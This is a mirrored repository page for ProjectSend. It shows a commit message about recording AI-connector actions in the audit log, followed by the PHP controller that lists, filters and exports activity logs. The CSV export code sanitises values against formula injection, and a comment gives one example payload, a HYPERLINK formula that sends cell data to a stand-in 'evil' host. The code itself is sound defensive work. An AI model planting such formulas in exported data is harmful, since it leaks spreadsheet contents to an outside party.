mirror of
https://github.com/projectsend/projectsend.git
synced 2026-09-17 09:05:08 +00:00
91d34b204c
An actor with no personal access token has always meant a browser, and for as long as a session and a Sanctum token were the only two ways to authenticate, that was true. It stops being true the moment anything else can, and the failure is silent: the action gets recorded as a person clicking, in the one table whose whole purpose is answering "did I do that, or did something acting for me?" Nothing misreports today — every call site that passes an explicit actor is a browser request, an API request whose actor carries the token, or a console command with no actor at all. This closes the trap before the AI connector in cloud-modules walks into it. ActivityOrigin is a closed enum, so core has to publish both the case and the hook before a package can use either. ResolvingActivityOrigin is asked only in the ambiguous case: a request carrying a token is the API and a request with nobody signed in is public or system, and neither is in any doubt, so neither is offered — one package must not be able to quietly relabel how every integration's actions are attributed. The person stays the actor. They authorised it, and a log naming the assistant instead would lose the only fact that matters. What the connector was called goes in api_token_name, beside a null token id, because that column means a row in personal_access_tokens and this is not one. The new origin is kept out of the activity filter unless the edition can actually produce it. A filter option that can only ever return nothing is a feature dangled at an edition that does not have it, which is the one thing the edition boundary exists not to do.
317 lines
14 KiB
PHP
317 lines
14 KiB
PHP
<?php
|
|
|
|
declare(strict_types=1);
|
|
|
|
namespace App\Modules\Audit\Http\Controllers;
|
|
|
|
use App\Http\Controllers\Controller;
|
|
use App\Models\User;
|
|
use App\Modules\Audit\Action;
|
|
use App\Modules\Audit\ActivityLog;
|
|
use App\Modules\Audit\ActivityLogScope;
|
|
use App\Modules\Audit\ActivityOrigin;
|
|
use App\Modules\Files\Models\File;
|
|
use App\Modules\Files\Models\Folder;
|
|
use App\Modules\Groups\Models\Group;
|
|
use App\Modules\Identity\Models\Role;
|
|
use App\Modules\Identity\UserType;
|
|
use App\Modules\Platform\Capabilities\Capability;
|
|
use App\Modules\Platform\Capabilities\CapabilityRegistry;
|
|
use App\Modules\Platform\Localization\LocalDay;
|
|
use App\Modules\Platform\Localization\TimezoneRegistry;
|
|
use Carbon\Carbon;
|
|
use Illuminate\Database\Eloquent\Builder;
|
|
use Illuminate\Http\Request;
|
|
use Illuminate\Support\Collection;
|
|
use Illuminate\Validation\Rule;
|
|
use Inertia\Inertia;
|
|
use Inertia\Response;
|
|
use Symfony\Component\HttpFoundation\StreamedResponse;
|
|
|
|
class ActivityLogController extends Controller
|
|
{
|
|
public function __construct(
|
|
private readonly CapabilityRegistry $capabilities,
|
|
private readonly ActivityLogScope $scope,
|
|
private readonly TimezoneRegistry $timezones,
|
|
) {}
|
|
|
|
public function index(Request $request): Response
|
|
{
|
|
$filters = $this->validatedFilters($request);
|
|
|
|
$viewer = $request->user();
|
|
assert($viewer !== null);
|
|
|
|
$entries = $this->filteredQuery($filters, $viewer)
|
|
->paginate(25)
|
|
->withQueryString();
|
|
|
|
$links = $this->linkResolver($entries->getCollection(), $viewer);
|
|
|
|
return Inertia::render('activity/index', [
|
|
'entries' => $entries->getCollection()->map(fn (ActivityLog $entry): array => [
|
|
'id' => $entry->id,
|
|
'created_at' => $entry->created_at->toIso8601String(),
|
|
'actor_name' => $entry->actor_name,
|
|
'actor_type' => $entry->actor_type,
|
|
'origin' => $entry->origin->value,
|
|
'origin_label' => $entry->origin->label(),
|
|
'api_token_name' => $entry->api_token_name,
|
|
'action' => $entry->action->value,
|
|
'template' => $entry->action->template(),
|
|
'replacements' => $this->replacements($entry),
|
|
'actor_url' => $links($entry->actor_id, User::class),
|
|
'subject_url' => $links($entry->subject_id, $entry->subject_type),
|
|
])->all(),
|
|
'pagination' => [
|
|
'page' => $entries->currentPage(),
|
|
'last_page' => $entries->lastPage(),
|
|
'prev' => $entries->previousPageUrl(),
|
|
'next' => $entries->nextPageUrl(),
|
|
'total' => $entries->total(),
|
|
],
|
|
'filters' => $filters,
|
|
'actions' => array_map(fn (Action $action): array => [
|
|
'key' => $action->value,
|
|
'description' => $action->description(),
|
|
], Action::cases()),
|
|
// Every origin this installation could actually produce.
|
|
// Offering a filter that can only ever return nothing would
|
|
// be dangling a feature this edition does not have, which is
|
|
// the one thing the edition boundary is meant not to do.
|
|
'origins' => collect(ActivityOrigin::cases())
|
|
->reject(fn (ActivityOrigin $origin): bool => $origin === ActivityOrigin::Mcp
|
|
&& ! $this->capabilities->has(Capability::AiConnector))
|
|
->map(fn (ActivityOrigin $origin): array => [
|
|
'key' => $origin->value,
|
|
'label' => $origin->label(),
|
|
])
|
|
->values()
|
|
->all(),
|
|
]);
|
|
}
|
|
|
|
/**
|
|
* Streamed CSV export honoring the same filters as the list.
|
|
*/
|
|
public function export(Request $request): StreamedResponse
|
|
{
|
|
$filters = $this->validatedFilters($request);
|
|
|
|
$viewer = $request->user();
|
|
assert($viewer !== null);
|
|
|
|
// Both the filename and every row are stamped in the exporter's
|
|
// own zone, so a file named for "today" holds the rows the screen
|
|
// showed under that same word.
|
|
$timezone = $this->timezones->resolve($viewer);
|
|
|
|
$filename = 'activity-log-'.now()->setTimezone($timezone)->format('Y-m-d').'.csv';
|
|
|
|
return response()->streamDownload(function () use ($filters, $viewer, $timezone): void {
|
|
$out = fopen('php://output', 'w');
|
|
assert($out !== false);
|
|
|
|
fputcsv($out, ['Date', 'Account', 'Account type', 'Origin', 'API token', 'Action', 'Description', 'Subject', 'Details']);
|
|
|
|
foreach ($this->filteredQuery($filters, $viewer)->lazy() as $entry) {
|
|
fputcsv($out, array_map($this->csvSafe(...), [
|
|
// Kept as ISO 8601 — a spreadsheet parses it and the
|
|
// offset makes the zone self-describing, so the column
|
|
// stays unambiguous once it leaves the app.
|
|
$entry->created_at->setTimezone($timezone)->toIso8601String(),
|
|
$entry->actor_name ?? 'System',
|
|
$entry->actor_type ?? 'system',
|
|
$entry->origin->label(),
|
|
$entry->api_token_name ?? '',
|
|
$entry->action->value,
|
|
__($entry->action->template(), $this->replacements($entry)),
|
|
$entry->subject_name,
|
|
$entry->context === null ? '' : json_encode($entry->context),
|
|
]));
|
|
}
|
|
|
|
fclose($out);
|
|
}, $filename, ['Content-Type' => 'text/csv']);
|
|
}
|
|
|
|
/**
|
|
* Neutralize spreadsheet formula injection. Half the columns here carry
|
|
* names the subject chose themselves — a self-registering client picks
|
|
* their own, and it lands in `actor_name` — so a value like
|
|
* `=HYPERLINK("http://evil/?"&A1,"x")` would execute when an admin opens
|
|
* the export. Excel/Sheets/LibreOffice all treat a leading =, +, -, @,
|
|
* tab or CR as the start of a formula; prefixing with an apostrophe
|
|
* makes the cell literal text while still displaying the value.
|
|
*/
|
|
private function csvSafe(mixed $value): string
|
|
{
|
|
$value = is_scalar($value) ? (string) $value : '';
|
|
|
|
return preg_match('/^[=+\-@\t\r]/', $value) === 1 ? "'".$value : $value;
|
|
}
|
|
|
|
/**
|
|
* Builds a resolver mapping (id, morph class) to the edit URL of a
|
|
* still-existing object — only when the viewer is allowed to open
|
|
* it. Lookups are batched for the current page.
|
|
*
|
|
* @param Collection<int, ActivityLog> $entries
|
|
* @return callable(int|null, string|null): ?string
|
|
*/
|
|
private function linkResolver(Collection $entries, User $viewer): callable
|
|
{
|
|
$userIds = $entries->pluck('actor_id')
|
|
->merge($entries->where('subject_type', User::class)->pluck('subject_id'))
|
|
->filter()
|
|
->unique();
|
|
|
|
$roleIds = $entries->where('subject_type', Role::class)->pluck('subject_id')->filter()->unique();
|
|
$groupIds = $entries->where('subject_type', Group::class)->pluck('subject_id')->filter()->unique();
|
|
$fileIds = $entries->where('subject_type', File::class)->pluck('subject_id')->filter()->unique();
|
|
$folderIds = $entries->where('subject_type', Folder::class)->pluck('subject_id')->filter()->unique();
|
|
|
|
/** @var array<int, UserType> $users */
|
|
$users = $userIds->isEmpty()
|
|
? []
|
|
: User::query()->whereIn('id', $userIds)->pluck('type', 'id')->all();
|
|
|
|
/** @var array<int, true> $roles */
|
|
$roles = $roleIds->isEmpty()
|
|
? []
|
|
: Role::query()->whereIn('id', $roleIds)->pluck('id')->mapWithKeys(fn ($id) => [(int) $id => true])->all();
|
|
|
|
/** @var array<int, true> $groups */
|
|
$groups = $groupIds->isEmpty()
|
|
? []
|
|
: Group::query()->whereIn('id', $groupIds)->pluck('id')->mapWithKeys(fn ($id) => [(int) $id => true])->all();
|
|
|
|
// Resolved through the viewer's library scope, not a bare existence
|
|
// check: permission alone said "this viewer may open files", which
|
|
// for a client-scoped viewer produced links to files they would get
|
|
// a 403 on.
|
|
$files = $this->scope->openableFileIds($viewer, $fileIds);
|
|
$folders = $this->scope->openableFolderIds($viewer, $folderIds);
|
|
|
|
$staffModule = $this->capabilities->has(Capability::UsersManage) && $viewer->can('manage_users');
|
|
$canStaff = $staffModule && $viewer->can('edit_users');
|
|
$canClients = $viewer->can('edit_clients');
|
|
$canGroups = $viewer->can('edit_groups');
|
|
$canFiles = $viewer->can('upload') || $viewer->can('edit_files') || $viewer->can('edit_others_files');
|
|
|
|
return function (?int $id, ?string $morphClass) use ($users, $roles, $groups, $files, $folders, $canStaff, $canClients, $canGroups, $canFiles, $staffModule): ?string {
|
|
if ($id === null) {
|
|
return null;
|
|
}
|
|
|
|
if ($morphClass === User::class && isset($users[$id])) {
|
|
return match (true) {
|
|
$users[$id] === UserType::Staff && $canStaff => route('users.edit', $id, false),
|
|
$users[$id] === UserType::Client && $canClients => route('clients.edit', $id, false),
|
|
default => null,
|
|
};
|
|
}
|
|
|
|
if ($morphClass === Role::class && isset($roles[$id]) && $staffModule) {
|
|
return route('roles.edit', $id, false);
|
|
}
|
|
|
|
if ($morphClass === Group::class && isset($groups[$id]) && $canGroups) {
|
|
return route('groups.edit', $id, false);
|
|
}
|
|
|
|
if ($morphClass === File::class && isset($files[$id]) && $canFiles) {
|
|
return route('files.edit', $id, false);
|
|
}
|
|
|
|
if ($morphClass === Folder::class && isset($folders[$id]) && $canFiles) {
|
|
return route('files.index', ['folder' => $id], false);
|
|
}
|
|
|
|
return null;
|
|
};
|
|
}
|
|
|
|
/**
|
|
* Placeholder values for the entry's sentence template: the subject
|
|
* name plus any scalar context values.
|
|
*
|
|
* @return array<string, string>
|
|
*/
|
|
private function replacements(ActivityLog $entry): array
|
|
{
|
|
$replacements = [
|
|
'subject' => $entry->subject_name
|
|
?? ($entry->subject_id !== null ? __('(deleted account)') : ''),
|
|
];
|
|
|
|
foreach ($entry->context ?? [] as $key => $value) {
|
|
if (is_scalar($value)) {
|
|
$replacements[$key] = (string) $value;
|
|
}
|
|
}
|
|
|
|
return $replacements;
|
|
}
|
|
|
|
/**
|
|
* @return array{action: ?string, actor_type: ?string, origin: ?string, api_token: ?string, actor: ?string, from: ?string, to: ?string}
|
|
*/
|
|
private function validatedFilters(Request $request): array
|
|
{
|
|
$validated = $request->validate([
|
|
'action' => ['nullable', Rule::enum(Action::class)],
|
|
'actor_type' => ['nullable', Rule::in(['staff', 'client', 'system'])],
|
|
'origin' => ['nullable', Rule::enum(ActivityOrigin::class)],
|
|
'api_token' => ['nullable', 'string', 'max:255'],
|
|
'actor' => ['nullable', 'string', 'max:255'],
|
|
'from' => ['nullable', 'date'],
|
|
'to' => ['nullable', 'date', 'after_or_equal:from'],
|
|
]);
|
|
|
|
return [
|
|
'action' => $validated['action'] ?? null,
|
|
'actor_type' => $validated['actor_type'] ?? null,
|
|
'origin' => $validated['origin'] ?? null,
|
|
'api_token' => $validated['api_token'] ?? null,
|
|
'actor' => $validated['actor'] ?? null,
|
|
'from' => $validated['from'] ?? null,
|
|
'to' => $validated['to'] ?? null,
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @param array{action: ?string, actor_type: ?string, origin: ?string, api_token: ?string, actor: ?string, from: ?string, to: ?string} $filters
|
|
* @return Builder<ActivityLog>
|
|
*/
|
|
private function filteredQuery(array $filters, User $viewer): Builder
|
|
{
|
|
$timezone = $this->timezones->resolve($viewer);
|
|
|
|
return $this->scope->apply(ActivityLog::query(), $viewer)
|
|
->when($filters['action'], fn (Builder $query, string $action) => $query->where('action', $action))
|
|
->when($filters['origin'], fn (Builder $query, string $origin) => $query->where('origin', $origin))
|
|
// Matched on the snapshotted name rather than the id, so a
|
|
// revoked token's history stays reachable — which is exactly
|
|
// when someone follows this link.
|
|
->when($filters['api_token'], fn (Builder $query, string $token) => $query->where('api_token_name', $token))
|
|
->when($filters['actor_type'], fn (Builder $query, string $type) => $type === 'system'
|
|
? $query->whereNull('actor_type')
|
|
: $query->where('actor_type', $type))
|
|
->when($filters['actor'], fn (Builder $query, string $actor) => $query->where('actor_name', 'like', "%{$actor}%"))
|
|
// Bounded by the viewer's own day rather than the UTC one —
|
|
// see LocalDay for why whereDate() cannot do this.
|
|
->when(
|
|
$filters['from'] !== null ? LocalDay::start($filters['from'], $timezone) : null,
|
|
fn (Builder $query, Carbon $from) => $query->where('created_at', '>=', $from),
|
|
)
|
|
->when(
|
|
$filters['to'] !== null ? LocalDay::end($filters['to'], $timezone) : null,
|
|
fn (Builder $query, Carbon $to) => $query->where('created_at', '<=', $to),
|
|
)
|
|
->orderByDesc('created_at')
|
|
->orderByDesc('id');
|
|
}
|
|
}
|